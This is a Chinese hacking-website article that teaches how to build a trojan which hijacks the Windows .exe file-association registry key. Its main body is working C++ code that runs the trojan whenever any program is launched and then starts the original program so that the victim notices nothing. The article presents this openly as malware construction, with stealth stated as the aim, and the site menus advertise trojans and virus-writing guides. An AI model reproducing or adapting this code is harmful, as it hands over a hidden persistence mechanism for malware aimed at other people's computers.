我爱黑客网首页 设为首页
加入收藏
联系我们
 首 页  技术文章 下载中心 站长学院 交流论坛
 软件:
 文章:        教程:
 推荐: 我爱黑客网论坛
 
 
 
 
   
黑软: Q Q 软件 木马间谍 探嗅监听 溢出攻击 加密解密 漏洞扫描 脚本注入 远程控制 综合利用 聊天工具  
 
技术文章: 爱黑新闻 | 黑客攻防 | 网络技术 | 程序设计 | 系统操作 | 本站动态 | 业界动态 | 安全公告 | 病毒公告 | 八卦黑客
 
 
您当前的位置:我爱黑客 -> 程序设计 -> C++ -> C++文件 -> 文章内容  
栏目导航
· C++综合 · C++通信
· C++视图 · C++图象
· C++系统 · C++多媒体
· C++界面 · C++文件
· C++数据库 · C++网络
热门文章
· 利用C++ Builder 设计..
· 利用C++ Builder设计实..
· 自解密的加密程序的制..
· C++ Builder中各种资源..
· 编写感染COM与EXE文件..
· 如何利用C++ Builder实..
· 文件关联型木马的编程..
· 用Foxmail的地址传播病..
· 共享软件的注册加密法..
· 还未结束就能把自身删..
· 浏览文件的一段代码
· 给想写嵌入式病毒和木..
相关文章

· BCB利用组件传送文件..
· 一段能够下载文件的..
· 在C++Builder中编写..
· 用C++产生QL*Loader..
· 程序中传递密码给数..
· 编写感染COM与EXE文..
· 浏览文件的一段代码..
· 关于PE可执行文件的..
· 关于BCB写入文件进行..
· PE文件格式文档
查看更多与文件关联型木马的编程思路相关内容

文件关联型木马的编程思路
作者:幽火  来源:www.5ihack.com  发布时间:2007-1-8 19:20:05  发布人:ghostfire

减小字体 增大字体

  我们知道一般情况下想在开机启动程序,就要把程序写在注册表中的

  HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

  HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

  HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunService

  等环境中,由于这个值大家都比较熟悉所以很容易被查出,而且进入了windows保护模式这些程序是不会运行的,但是如果我们把我们的程序在注册表中进行了关联却收到了很好的结果。

  在注册表HKEY_CLASSES_ROOT\exefile\shell\open\command中的值就是可执行程序*.exe

  文件的关联处,缺省为“"%1"

  %*”,如果把这个程序改为我们的木马程序,那样的话,每执行一个可执行程序就会执行我们的程序,而不会再执行原有的程序,这样我们的木马就起动了,我们要做的工作就是我们的木马启动后,再执行原有的程序,这样对于一般的人来看好像什么事也没发生过。好了心动不如行动,我们开始动手做一个吧。

  l 首先用vc建立一个基于对话框的程序srart

  在CstartDlg加入公有变量 HANDLE hMutex;防止我们的木马运行多次。

  l 在CStartDlg::OnInitDialog()中加入如下函数:

  CString str;
str.Format("%s", AfxGetApp()->m_lpCmdLine);//取得传入的命令行参数
const char *MutexObject="MyStart";//建立互斥对象
hMutex=NULL;
hMutex=::CreateMutex(false,false,MutexObject);
if(hMutex!=NULL)
{
DWORD err=GetLastError();
if(err==ERROR_ALREADY_EXISTS)
::PostQuitMessage(0);//如果发现同一程序已经运行,则退出
}
if(str!="")
{
CString temp;
char ch;
int length =str.GetLength();
for(int i=0;i<length;i++)
{
ch=str.GetAt(i);
if(ch=='\\')
temp=temp+"\\\\";
else temp=temp+ch;
}
temp = temp.Left(temp.GetLength() - 2);
temp = temp.Mid(1);
//上面的函数是把字符串中所有的”\”变为”\\”
char str1[]="\"%1\" %*";
::RegSetValue(HKEY_CLASSES_ROOT,"exefile\\shell\\open\\command",
REG_SZ,(LPCTSTR)str1 , strlen(str1) + 1);
//
在执行原有程序之前必须把注册表恢复,否则用ShellExecute还是执行我们的木马程序。
ShellExecute(NULL,"open",temp,NULL,NULL,SW_SHOW);//执行原有的程序
}
//在程序执行完成后,再把注册表改为我们要启动的木马程序的
TCHAR str2[256];
// 得到程序全路径名
GetModuleFileName( NULL, str2, 255 );
strcat(str2," \"%1\" %*");
::RegSetValue(HKEY_CLASSES_ROOT,"exefile\\shell\\open\\command",
REG_SZ,(LPCTSTR)str2 , strlen(str2) + 1);
//经过上述过程只要程序一运行就会执行我们的start

查看更多与文件关联型木马的编程思路相关内容

[ ] [返回上一页] [打 印] [收 藏]
上一篇文章:
下一篇文章:
      用Foxmail的地址传播病毒       如何利用C++ Builder实现对Excel97 的调用
∷相关文章评论∷   (评论内容只代表网友观点,与本站立场无关!) [发表评论]
 
 
 
 
晋ICP备05008232   维护网络安全、传播安全技术才是我们的目标! 
 
关于本站 - 网站帮助 - - 下载声明 - 友情连接 -网站地图